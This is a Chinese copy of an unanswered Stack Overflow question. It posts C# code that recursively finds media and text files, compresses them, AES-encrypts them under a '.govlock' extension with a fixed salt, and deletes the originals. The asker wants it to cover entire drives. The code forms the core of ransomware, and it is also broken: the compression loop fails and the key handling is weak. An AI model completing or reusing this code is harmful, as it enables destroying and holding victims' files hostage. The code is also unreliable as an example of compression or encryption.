在Windows应用程序VS2013中使用C#进行压缩

时间:2015-12-04 14:22:10

标签: c# encryption compression

问题是它不压缩文件。我希望它搜索具有指定扩展名的文件,压缩这些文件,然后加密它们。加密工作(如果我删除压缩部分)但它不能同时执行。如果可能的话,我可以使用" DriveInfo"来搜索整个驱动​​器上的文件?

这是我的代码:

public static void Compress(string file)
{

    using (FileStream fsCrypt = new FileStream(file + ".gz", FileMode.Create)) // automatically dispose fsCrypt
    {
        //write salt to the beginning of the output file, so in this case can be random every time

    }

    int bytesToRead = 128 * 1024 * 1024; // 128MB 
    byte[] buffer = new byte[bytesToRead]; // create the array that will be used encrypted
    long fileOffset = 0;
    int read = 0;
    bool allRead = false;

    while (!allRead)
    {
        using (FileStream fs1 = new FileStream(file, FileMode.Open, FileAccess.Read))
        {
            fs1.Seek(fileOffset, SeekOrigin.Begin); // continue reading from where we were...
            read = fs1.Read(buffer, 0, bytesToRead); // read the next chunk
        }

        if (read == 0)
            allRead = true;
        else
            fileOffset += read;

        using (FileStream fsCrypt1 = new FileStream(file + ".gz", FileMode.Open)) // automatically dispose fsCrypt
        {
            using (GZipStream cs1 = new GZipStream(fsCrypt1, CompressionMode.Compress, true))
            {
                fsCrypt1.Seek(fileOffset, SeekOrigin.End);
                cs1.Write(buffer, 0, read);

            }
        }
    }
    File.Delete(file);                                                                                                              
}

static void EncryptFile(string file, string password)
{
    byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
    byte[] salt = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };

    passwordBytes = SHA256.Create().ComputeHash(passwordBytes);

    RijndaelManaged AES = new RijndaelManaged();
    AES.KeySize = AES.LegalKeySizes[0].MaxSize;
    AES.BlockSize = AES.LegalBlockSizes[0].MaxSize;
    AES.Padding = PaddingMode.PKCS7;

    //"What it does is repeatedly hash the user password along with the salt." High iteration counts.
    using (var key = new Rfc2898DeriveBytes(passwordBytes, salt, 1000)) // automatically dispose key
    {
        AES.Key = key.GetBytes(AES.KeySize / 8);
        AES.IV = key.GetBytes(AES.BlockSize / 8);
        AES.Mode = CipherMode.CFB;
    }
    using (FileStream fsCrypt = new FileStream(file + ".govlock", FileMode.Create)) // automatically dispose fsCrypt
    {
        //write salt to the beginning of the output file, so in this case can be random every time
        fsCrypt.Write(salt, 0, salt.Length);
    }

    int bytesToRead = 128 * 1024 * 1024; // 128MB 
    byte[] buffer = new byte[bytesToRead]; // create the array that will be used encrypted
    long fileOffset = 0;
    int read = 0;
    bool allRead = false;

    while (!allRead)
    {
        using (FileStream fs = new FileStream(file, FileMode.Open, FileAccess.Read))
        {
            fs.Seek(fileOffset, SeekOrigin.Begin); // continue reading from where we were...
            read = fs.Read(buffer, 0, bytesToRead); // read the next chunk
        }

        if (read == 0)
            allRead = true;
        else
            fileOffset += read;

        using (FileStream fsCrypt = new FileStream(file + ".govlock", FileMode.Open)) // automatically dispose fsCrypt
        {
            using (CryptoStream cs = new CryptoStream(fsCrypt, AES.CreateEncryptor(), CryptoStreamMode.Write))
            {
                fsCrypt.Seek(fileOffset, SeekOrigin.End);
                cs.Write(buffer, 0, read);

            }
        }
    }
    File.Delete(file);                                                                                                              
}
//encrypts target directory
public void encryptDirectory(string location, string password)
{

    //extensions to be encrypt
    var validExtensions = new[]
    {

       ".gz"               
    };

    string[] files = Directory.GetFiles(location);
    string[] childDirectories = Directory.GetDirectories(location);
    for (int i = 0; i < files.Length; i++)
    {
        string extension = Path.GetExtension(files[i]);
        if (validExtensions.Contains(extension))
        {
           // Compress(files[i]);                                                                            //change made here
            EncryptFile(files[i], password);
        }
    }
    for (int i = 0; i < childDirectories.Length; i++)
    {
        encryptDirectory(childDirectories[i], password);
    }

}

//compress directory
public void compresstDirectory(string location1)
{

    //extensions to be encrypt
    var validExtensions1 = new[]
    {


".gif",".avi",".wmv",".mp3",".mp4",".flv",".mpg",".mkv",".txt"
    };

    string[] files1 = Directory.GetFiles(location1);
    string[] childDirectories = Directory.GetDirectories(location1);
    for (int i = 0; i < files1.Length; i++)
    {
        string extension1 = Path.GetExtension(files1[i]);
        if (validExtensions1.Contains(extension1))
        {
            Compress(files1[i]);                                                                            //change made here

        }
    }
    for (int i = 0; i < childDirectories.Length; i++)
    {
       compresstDirectory(childDirectories[i]);
    }
}

0 个答案:

没有答案